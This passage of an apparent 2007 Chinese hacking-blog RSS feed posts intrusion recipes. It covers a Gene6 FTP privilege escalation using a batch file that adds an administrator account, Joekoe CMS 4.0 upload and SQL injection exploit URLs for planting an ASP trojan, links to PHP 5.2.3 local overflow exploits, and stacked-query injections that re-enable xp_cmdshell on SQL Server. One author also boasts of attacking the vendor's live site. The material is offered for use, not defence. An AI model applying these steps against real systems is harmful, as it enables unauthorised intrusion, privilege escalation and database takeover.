target="_blank">http://www.discuz.net/member.php?action=list_UserNumber=1402257EE8F</a><br>不然不能进行注射。<br><br>文件漏洞代码如下<br>&lt;?<br>define(&#39;__SYSTEM_ROOT&#39;,&nbsp;&#39;&#39;);<br>include&nbsp;dirname(__FILE__).&#39;/framework_gb/framework.php&#39;;<br><br>using(&#39;System.Data.Data&#39;);<br>using(&#39;System.Data.Plugins.Option&#39;);<br>using(&#39;System.Page.Page&#39;);<br>using(&#39;System.Smarty.Smarty&#39;);<br>using(&#39;System.Functions.Functions&#39;);<br><br>require_once&nbsp;__SYSTEM_ROOT.&quot;global.php&quot;;<br>require_once&nbsp;__SYSTEM_ROOT.&quot;vars.php&quot;;<br><br>$db=new&nbsp;stdClass();<br><br>$db=$Data-&gt;getDB();<br>/*<br><br>echo&nbsp;&#39;&lt;pre&gt;&#39;;<br>print_r($Data);<br>*/<br>?&gt;<br>可以直接注射,拿到后台密码。&nbsp;<br>]]></description></item><item><link>Http://Www.SSJK.Org//blogview.asp?logID=143</link><title><![CDATA[Gene6&nbsp;FTP&nbsp;提权方法]]></title><author><![CDATA[蜀山剑客]]></author><category>入侵技巧</category><pubDate>2007-08-12 02:27 PM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=143</guid><description><![CDATA[在任意帐户配置文件中添加SiteCommandList0=-1,TQ1,c:\a.bat,0,60,0,0,jid<br><br>TQ1=命令名<br><br>c:\a.bat=实际路径<br><br>如果没有修改权限,也可以从本地走~~~<br><br>以下为本地管理员配置<br><br>[Server]<br>IP=127.0.0.1,8021\r\n<br>GrantAllAccessToLocalHost=0<br>[Acct=chensong]<br>Enabled=1<br>Rights=0<br>Password=58F6E4407FFE8F618CDE3C16FA3360DD<br><br><br>1.&nbsp;以非特权用户的身份登陆。<br><br>2.&nbsp;打开Gene6&nbsp;FTP&nbsp;Server控制台，添加FTP用户帐号，如&quot;test&quot;<br><br>3.&nbsp;对FTP&nbsp;server添加新的SITE命令。如果要实现这个操作，你必须将可执行文件映射到新建的SITE命令。详见4和5步。<br><br>4.&nbsp;编写一个名为ABC.bat的.bat文件。<br><br>---cut&nbsp;here&nbsp;-------------------------<br>net&nbsp;user&nbsp;abc&nbsp;/add<br>net&nbsp;localgroup&nbsp;administrators&nbsp;abc&nbsp;/add<br>---cut&nbsp;here&nbsp;-------------------------<br><br>5.&nbsp;将这个ABC.bat映射到新建的SITE命令，如ABC<br><br>6.&nbsp;现在就可以获取SYSTEM权限了。使用test用户登陆到FTP&nbsp;server，然后执行以下命令：<br>ftp&gt;quote&nbsp;site&nbsp;abc<br><br>这样就以SYSTEM权限执行了ABC.bat。<br><br>当然，还可以映射任何其他可执行文件。<br><br>]]></description></item><item><link>Http://Www.SSJK.Org//blogview.asp?logID=142</link><title><![CDATA[乔客(joekoe)&nbsp;CMS&nbsp;4.0&nbsp;的2个高危漏洞]]></title><author><![CDATA[蜀山剑客]]></author><category>安全漏洞</category><pubDate>2007-08-12 02:24 PM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=142</guid><description><![CDATA[乔客(joekoe)&nbsp;CMS&nbsp;4.0&nbsp;的2个高危漏洞<br><br>&nbsp;<br>转载请保留版权标记,谢谢<br>-------------------------------by&nbsp;大蝉@<a href="http://blog.gsnsg.com/weblog/usual/" target="_blank">http://blog.gsnsg.com/weblog/usual/</a>&nbsp;QQ:271607603------------------------------------------<br><br>&nbsp;&nbsp;&nbsp;&nbsp;前段时间看了朋友冷锋的江苏黑客联盟,顺便读了读乔客,发现在乔客4.0版本中存在两个高危漏洞,一个上传漏洞,可以随意上传任意文件,包括ASP,另一个是SQL注入,甚至还有返回错误信息,可怕啊<br><br>&nbsp;&nbsp;&nbsp;&nbsp;上传漏洞:<br>看\common\include\web.upload.asp&nbsp;中的代码<br><br>-----------------------------------------------------------------------------------------------------------------------------------<br><br>sub&nbsp;doPageLoad()<br>&nbsp;if&nbsp;APP_STATUS=&quot;close&quot;&nbsp;then<br>&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_status&quot;,&quot;error.message&quot;<br>&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_message&quot;,&quot;网站暂时因关闭维护中！请稍候...&quot;<br>&nbsp;&nbsp;exit&nbsp;sub<br>&nbsp;end&nbsp;if<br>&nbsp;up.doInit()<br>&nbsp;if&nbsp;not&nbsp;upConfig.isInit&nbsp;then<br>&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_status&quot;,&quot;error.message&quot;<br>&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_message&quot;,&quot;上传文件的参数不正确！&quot;<br>&nbsp;else<br>&nbsp;&nbsp;doPageLoadUser()<br>&nbsp;&nbsp;select&nbsp;case&nbsp;upConfig.channel<br>&nbsp;&nbsp;case&nbsp;&quot;forum&quot;<br>&nbsp;&nbsp;&nbsp;upConfig.setSaveDir(upConfig.getSaveDir&amp;(left(ops.time.toConvertString(&quot;&quot;,10),6)&amp;DIR_SEPARATOR))<br>&nbsp;&nbsp;&nbsp;upConfig.filename=&quot;&quot;<br>&nbsp;&nbsp;case&nbsp;&quot;user.face&quot;<br>&nbsp;&nbsp;&nbsp;upConfig.filename=&quot;face_&quot;&amp;upConfig.userid<br>&nbsp;&nbsp;&nbsp;upConfig.setSaveDir(&quot;face&quot;&amp;DIR_SEPARATOR)<br>&nbsp;&nbsp;&nbsp;upConfig.filetype=&quot;gif&quot;<br>&nbsp;&nbsp;case&nbsp;&quot;blog.logo&quot;<br>&nbsp;&nbsp;&nbsp;upConfig.setSaveDir(&quot;blog&quot;&amp;DIR_SEPARATOR)<br>&nbsp;&nbsp;&nbsp;upConfig.filetype=&quot;gif&quot;<br>&nbsp;&nbsp;case&nbsp;else<br>&nbsp;&nbsp;&nbsp;if&nbsp;instr(upConfig.channel,&quot;.&quot;)&gt;0&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;upConfig.setSaveDir(mid(upConfig.channel,1,instr(upConfig.channel,&quot;.&quot;)-1)&amp;DIR_SEPARATOR)<br>&nbsp;&nbsp;&nbsp;end&nbsp;if<br>&nbsp;&nbsp;&nbsp;if&nbsp;instr(upConfig.fileinput,&quot;url&quot;)&gt;0&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;upConfig.filetype=&quot;affix&quot;<br>&nbsp;&nbsp;&nbsp;end&nbsp;if<br>&nbsp;&nbsp;end&nbsp;select<br>&nbsp;&nbsp;if&nbsp;len(upConfig.getSaveDir())&lt;3&nbsp;then<br>&nbsp;&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_status&quot;,&quot;error.message&quot;<br>&nbsp;&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_message&quot;,&quot;上传文件的参数不正确！&quot;<br>&nbsp;&nbsp;&nbsp;exit&nbsp;sub<br>&nbsp;&nbsp;end&nbsp;if<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;if&nbsp;1=1&nbsp;then<br>&nbsp;&nbsp;&nbsp;upConfig.setData&nbsp;&quot;zoom.channel.width&quot;,120<br>&nbsp;&nbsp;&nbsp;upConfig.setData&nbsp;&quot;zoom.channel.height&quot;,90<br>&nbsp;&nbsp;end&nbsp;if<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;upConfig.setBaseDir(DIR_ROOT&amp;DIR_UPLOAD)<br>&nbsp;&nbsp;upConfig.setBasePath(opsDirPath(DIR_ROOT&amp;DIR_UPLOAD))<br>&nbsp;&nbsp;upConfig.setBaseURL(URL_UPLOAD)<br>&nbsp;&nbsp;up.doLoad()<br>&nbsp;end&nbsp;if<br>end&nbsp;sub<br><br>-----------------------------------------------------------------------------------------------------------------------------------<br><br>这段代码通过channel判断是否给上传类型赋值,如果channel不等于forum、user.face、blog.logo的时候判断fileinput是否包含url，如果不包含，upConfig.filetype就不赋值，继续往下看<br>------------------------------------------------------------------------<br>&nbsp;&nbsp;if&nbsp;up.isPost()&nbsp;then<br>&nbsp;&nbsp;&nbsp;call&nbsp;doParseUploadData()<br>&nbsp;&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_status&quot;,&quot;succeed&quot;<br>&nbsp;&nbsp;&nbsp;dim&nbsp;tmpFormMode,tmpFileValue,tmpThumbValue<br>&nbsp;&nbsp;&nbsp;tmpFormMode=&quot;set&quot;<br>&nbsp;&nbsp;&nbsp;if&nbsp;upConfig.channel=&quot;user.face&quot;&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;tmpLinkMode=&quot;no&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;tmpFileValue=&quot;#&quot;&amp;up.getFileInfo(&quot;filename&quot;)<br>&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;tmpFileValue=up.getFileInfo(&quot;file.path&quot;)<br>&nbsp;&nbsp;&nbsp;&nbsp;select&nbsp;case&nbsp;upConfig.filetype<br>&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&quot;file&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpLinkMode=&quot;no&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;tmpFileValue=up.getFileInfo(&quot;file.path&quot;)<br>&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&quot;pic&quot;,&quot;spic&quot;,&quot;pics&quot;,&quot;affix&quot;,&quot;gif&quot;,&quot;jpg&quot;,&quot;jpeg&quot;,&quot;bmp&quot;,&quot;png&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpLinkMode=&quot;no&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpThumbValue=up.getFileInfo(&quot;thumb.path&quot;)<br>&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpLinkMode=&quot;again&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpFormMode=&quot;append&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim&nbsp;tmpFileType:tmpFileType=lcase(up.getFileInfo(&quot;filetype&quot;))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select&nbsp;case&nbsp;tmpFileType<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&quot;gif&quot;,&quot;jpg&quot;,&quot;jpeg&quot;,&quot;bmp&quot;,&quot;png&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpFileValue=&quot;<img src="upload/&quot;&amp;up.getFileInfo(&quot;file.path&quot;)&amp;&quot;" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" />&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;&quot;swf&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpFileValue=&quot;[flash=350,250]upload/&quot;&amp;up.getFileInfo(&quot;file.path&quot;)&amp;&quot;[/flash]&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpFileValue=&quot;[download=&quot;&amp;tmpFileType&amp;&quot;]upload_download.asp?id=&quot;&amp;upConfig.fileid&amp;&quot;[/download]&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;select<br>&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;select<br>&nbsp;&nbsp;&nbsp;end&nbsp;if<br>&nbsp;&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_form.mode&quot;,tmpFormMode<br>&nbsp;&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_form.filevalue&quot;,tmpFileValue<br>&nbsp;&nbsp;&nbsp;treeData.addItem&nbsp;&quot;_form.thumbvalue&quot;,tmpThumbValue<br>&nbsp;&nbsp;end&nbsp;if<br>----------------------------------------------------------------------------------------------------<br>这段代码判断upConfig.filetype，然后定义上传文件的后缀名，只要之前upConfig.filetype没被赋值，且不是gif,jpg,jpeg,bmp,png,swf,就<br><br>tmpFileValue=&quot;[download=&quot;&amp;tmpFileType&amp;&quot;]upload_download.asp?id=&quot;&amp;upConfig.fileid&amp;&quot;[/download]&quot;，看到这个，大家眼睛都放光了，根据用户的定义来判断上传类型，就好比问一个要偷东西的人：“你是贼么？”，这段代码也太XX了，估计之前也有不少人读出来了，只不过没公开而已<br><br>&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;SQL注入漏洞<br>还是在web.upload.asp中：<br>--------------------------------------------------------------------------------------------------------<br>...........<br>sub&nbsp;doParseUploadData()<br>&nbsp;dim&nbsp;tmpFilePath,tmpFileType,tmpFileSize,tmpName<br>&nbsp;tmpFilePath=up.getFileInfo(&quot;file.path&quot;)<br>&nbsp;tmpFileType=up.getFileInfo(&quot;filetype&quot;)<br>&nbsp;tmpFileSize=opsCommon.toInt(up.getFileInfo(&quot;filesize&quot;))<br>&nbsp;tmpName=up.getFileInfo(&quot;name&quot;)<br>&nbsp;dim&nbsp;tmpChannel,tmpDataid,tmpType,tmpSQL,tmpID<br>&nbsp;tmpChannel=upConfig.channel<br>&nbsp;tmpDataid=0<br>&nbsp;tmpType=0<br>&nbsp;select&nbsp;case&nbsp;upConfig.channel<br>&nbsp;case&nbsp;&quot;user.face&quot;<br>&nbsp;&nbsp;tmpDataid=upConfig.userid<br>&nbsp;&nbsp;tmpChannel=&quot;face&quot;<br>&nbsp;&nbsp;tmpType=1<br>&nbsp;&nbsp;tmpSQL=&quot;select&nbsp;top&nbsp;1&nbsp;u_id&nbsp;from&nbsp;db_sys_upload&nbsp;where&nbsp;nsort=&#39;&quot;&amp;tmpChannel&amp;&quot;&#39;&nbsp;and&nbsp;iid=&quot;&amp;tmpDataid&amp;&quot;&quot;<br>&nbsp;case&nbsp;&quot;blog.logo&quot;<br>&nbsp;&nbsp;tmpDataid=toInt(ops.client.getSession(&quot;user.blogid&quot;))<br>&nbsp;&nbsp;if&nbsp;tmpDataid&lt;1&nbsp;then&nbsp;tmpDataid=upConfig.userid<br>&nbsp;&nbsp;tmpChannel=&quot;blog&quot;<br>&nbsp;&nbsp;tmptype=1<br>&nbsp;&nbsp;tmpSQL=&quot;select&nbsp;top&nbsp;1&nbsp;u_id&nbsp;from&nbsp;db_sys_upload&nbsp;where&nbsp;nsort=&#39;&quot;&amp;tmpChannel&amp;&quot;&#39;&nbsp;and&nbsp;iid=&quot;&amp;tmpDataid&amp;&quot;&quot;<br>&nbsp;case&nbsp;else<br>&nbsp;&nbsp;tmpSQL=&quot;select&nbsp;top&nbsp;1&nbsp;u_id&nbsp;from&nbsp;db_sys_upload&nbsp;where&nbsp;u_url=&#39;&quot;&amp;tmpFilePath&amp;&quot;&#39;&quot;<br>&nbsp;end&nbsp;select<br>..........<br>-------------------------------------------------------------------------------------------------------------<br>看这句tmpSQL=&quot;select&nbsp;top&nbsp;1&nbsp;u_id&nbsp;from&nbsp;db_sys_upload&nbsp;where&nbsp;u_url=&#39;&quot;&amp;tmpFilePath&amp;&quot;&#39;&quot;，u_url来自&amp;tmpFilePath&amp;，而&amp;tmpFilePath&amp;来自up.getFileInfo(&quot;file.path&quot;)，呵呵，没有经过任何过滤就放到SQL查询语句里面查询了。<br><br>&nbsp;<br><br><br>利用方法：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;.上传漏洞：很好利用，把channel变量改一下，只要不等于forum、user.face、blog.logo就行，然后filetype改成asa,就可以光明正大的上传木马了，具体url可以这样common/upload.asp?channel=use&amp;filetype=asa&amp;filename=&amp;fileinput=u_face&amp;formname=&amp;thumbname=&amp;thumbinput=，然后上传<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.&nbsp;SQL注入漏洞：在Channel变量中加入诸如语句，比如：common/upload.asp?channel=use&#39;&amp;filetype=gif&amp;filename=&amp;fileinput=u_face&amp;formname=&amp;thumbname=&amp;thumbinput=,然后上传，就会报错<br>----------------------------------------------------------------------------------------------------------------------------------<br><br>Joekoe&nbsp;CMS&nbsp;4.0<br>错误信息:<br>select&nbsp;top&nbsp;1&nbsp;u_id&nbsp;from&nbsp;db_sys_upload&nbsp;where&nbsp;u_url=&#39;user&#39;/20070722031234c.gif&#39;<br>原始错误:<br>Error&nbsp;#-2147217900,&nbsp;第&nbsp;1&nbsp;行:&nbsp;&#39;c&#39;&nbsp;附近有语法错误。&nbsp;Microsoft&nbsp;OLE&nbsp;DB&nbsp;Provider&nbsp;for&nbsp;SQL&nbsp;Server<br>返回首页<br>Processed&nbsp;in&nbsp;0.188&nbsp;s,&nbsp;1&nbsp;queries,&nbsp;54&nbsp;Cache.<br><br>-----------------------------------------------------------------------------------------------------------------------------------<br>注入的时候有一定要注意，在执行到漏洞代码之前，会建立以Channel变量命名的文件夹，如果文件夹建立失败，就无法执行到漏洞代码，所以诸如语句里面不能有&lt;&gt;|&quot;?*:/\，还有，注入代码执行后，会在upload文件夹下面建立以Channel变量命名的文件夹，也就是说如果你的诸如语句是use&#39;&nbsp;DROP&nbsp;TABLE&nbsp;Tmp--,那么他的upload目录下就会多个叫做use&#39;&nbsp;DROP&nbsp;TABLE&nbsp;Tmp--的目录，*_*是不是很恐怖，刚发现这个漏洞的那天晚上去搞官网，留下了几十个这样的BT目录，结果第二天被发现了，换了管理员帐号密码&nbsp;*_*<br><br>&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;几年前用乔客的网站随处可见,现在已经很少了,为什么?看了代码我才明白,艾,要发展还得靠努力啊<br><br>&nbsp;&nbsp;&nbsp;&nbsp;开发人员应该已经知道了这两个漏洞的存在,但是迟迟没有出补丁,一直到现在都没有见到这两个漏洞的补丁,真是搞不懂........<br><br>利用&nbsp;录像:www.cub007.cn/demo/qiaoke.exe&nbsp;&nbsp;下载后把后缀名改成rar打开<br><br>]]></description></item><item><link>Http://Www.SSJK.Org//blogview.asp?logID=141</link><title><![CDATA[PHP&nbsp;5.2.3的两个local&nbsp;exploit]]></title><author><![CDATA[蜀山剑客]]></author><category>溢出破解</category><pubDate>2007-08-12 02:11 PM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=141</guid><description><![CDATA[PHP&nbsp;5.2.3的两个local&nbsp;exploit<br><br>1。PHP&nbsp;5.2.3&nbsp;Tidy&nbsp;extension&nbsp;Local&nbsp;Buffer&nbsp;Overflow&nbsp;Exploit<br>2。PHP&nbsp;&lt;=&nbsp;5.2.3&nbsp;snmpget()&nbsp;object&nbsp;id&nbsp;Local&nbsp;Buffer&nbsp;Overflow&nbsp;Exploit<br><br><br>如图：<br><br><br><img src="attachments/month_0708/d2007812141123.jpg" border="0" onload="javascript:DrawImage(this);"  alt="按此在新窗口打开图片" onmouseover="this.style.cursor='hand';" onclick="window.open(this.src);" /><br><br>成功溢出后打开&nbsp;33333&nbsp;端口<br><img src="images/download.gif" align="absmiddle" /> <a href="attachments/month_0708/z2007812141138.rar" target="_blank">点击下载此文件</a>]]></description></item><item><link>Http://Www.SSJK.Org//blogview.asp?logID=140</link><title><![CDATA[sql&nbsp;server&nbsp;2005&nbsp;，恢复xp_cmdshell的办法]]></title><author><![CDATA[蜀山剑客]]></author><category>入侵技巧</category><pubDate>2007-07-26 11:39 PM</pubDate><guid>Http://Www.SSJK.Org//blogview.asp?logID=140</guid><description><![CDATA[用下面一句话就可以了解决了。<br><br>EXEC&nbsp;sp_configure&nbsp;&#39;show&nbsp;advanced&nbsp;options&#39;,&nbsp;1;RECONFIGURE;EXEC&nbsp;sp_configure&nbsp;&#39;xp_cmdshell&#39;,&nbsp;1;RECONFIGURE;<br><br>关闭一样.只是将上面的后面的那个&quot;1&quot;改成&quot;0&quot;就可以了.<br><br>EXEC&nbsp;sp_configure&nbsp;&#39;show&nbsp;advanced&nbsp;options&#39;,&nbsp;1;RECONFIGURE;EXEC&nbsp;sp_configure&nbsp;&#39;xp_cmdshell&#39;,&nbsp;0;RECONFIGURE;<br><br><br>########################################################################################<br>两种方式:<br><br><br>EXEC&nbsp;sp_configure&nbsp;&#39;show&nbsp;advanced&nbsp;options&#39;,&nbsp;1;RECONFIGURE;EXEC&nbsp;sp_configure&nbsp;&#39;xp_cmdshell&#39;,&nbsp;1;RECONFIGURE;--<br><br><br>OR&nbsp;:<br><br><br>;EXEC&nbsp;sp_configure&nbsp;&#39;show&nbsp;advanced&nbsp;options&#39;,&nbsp;1&nbsp;--<br><br>;RECONFIGURE&nbsp;WITH&nbsp;OVERRIDE&nbsp;--<br><br>;EXEC&nbsp;sp_configure&nbsp;&#39;xp_cmdshell&#39;,&nbsp;1&nbsp;--<br><br>;RECONFIGURE&nbsp;WITH&nbsp;OVERRIDE&nbsp;--&nbsp;<br><br>;EXEC&nbsp;sp_configure&nbsp;&nbsp;&nbsp;&#39;show&nbsp;advanced&nbsp;options&#39;,&nbsp;0&nbsp;--<br>]]></description></item>
</channel>
</rss>